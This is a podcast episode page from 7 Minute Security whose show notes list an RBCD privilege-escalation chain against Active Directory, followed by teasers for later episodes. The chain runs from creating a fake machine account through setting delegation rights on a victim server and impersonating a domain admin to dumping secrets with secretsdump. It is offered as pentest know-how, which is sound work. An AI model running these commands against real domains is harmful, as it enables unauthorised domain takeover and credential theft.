7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Tämä jakso on lisätty Podme-palveluun avoimen RSS-syötteen kautta eikä se ole Podmen omaa tuotantoa. Siksi jakso saattaa sisältää mainontaa.

Jaksot(741)

7MS #741: Tales of Pentest Pwnage - Part 91

Hey friends! Today's tale of pentest pwnage is brought to you by four hours of sleep, a large mint hot cocoa, and unhealthy levels of giggity. There's a very good reason for all three, but you'll have...

25 Syys 36min

7MS #740: Tales of Pentest Pwnage - Part 90

Hey friends! We've been on a bit of a Tales of Pentest Pwnage bender lately, so let's keep it rolling with Part 90. (And Mom, relax — this is not one pentest story chopped into 90 parts.) Today is les...

18 Syys 33min

7MS #739: Tales of Pentest Pwnage – Part 89

Hey friends! Today is a tale of pentest pwnage episode, and this one features a path to escalation I have never seen before – one I could only find few references on the entire Internet. It happened c...

11 Syys 17min

7MS #738: Baby's First ProjectDiscovery Neo

Hey friends! Today I'm talking about Baby's First Neo — and to be crystal clear, I don't mean Keanu, and I don't mean the R&B guy with the hat. I mean the AI-powered pentest assistant from our pals at...

4 Syys 29min

7MS #737: Tales of Pentest Pwnage – Part 88

Hello friends! Today's tale of pentest pwnage isn't a start-to-finish march to DA – it's me finally emptying out the backlog of "gosh, I've got to share this next time" internal network tips that have...

28 Elo 33min

7MS #736: Securing Your Family During and After a Disaster – Part 9

Hey friends! Today's another slice of our Securing Your Family During and After a Disaster miniseries, and fair warning — it's a bit of a Friday mood-ruiner. It's been almost two months since my dad p...

21 Elo 29min

7MS #735: Baby's First Cloudflare Tunnel

Hey friends! Today's episode has a new-to-me toy up front and some podcast housekeeping on the back half – all recorded with a raging case of the anxious parent giggidies, because my son Atticus had a...

14 Elo 24min

7MS #734: Insight Recon

Hey friends! Today's episode is a two-parter: some security stuff up front, and then a big ol' personal celebration on the back half. If you're strictly here for the security bits, I love you and you'...

7 Elo 32min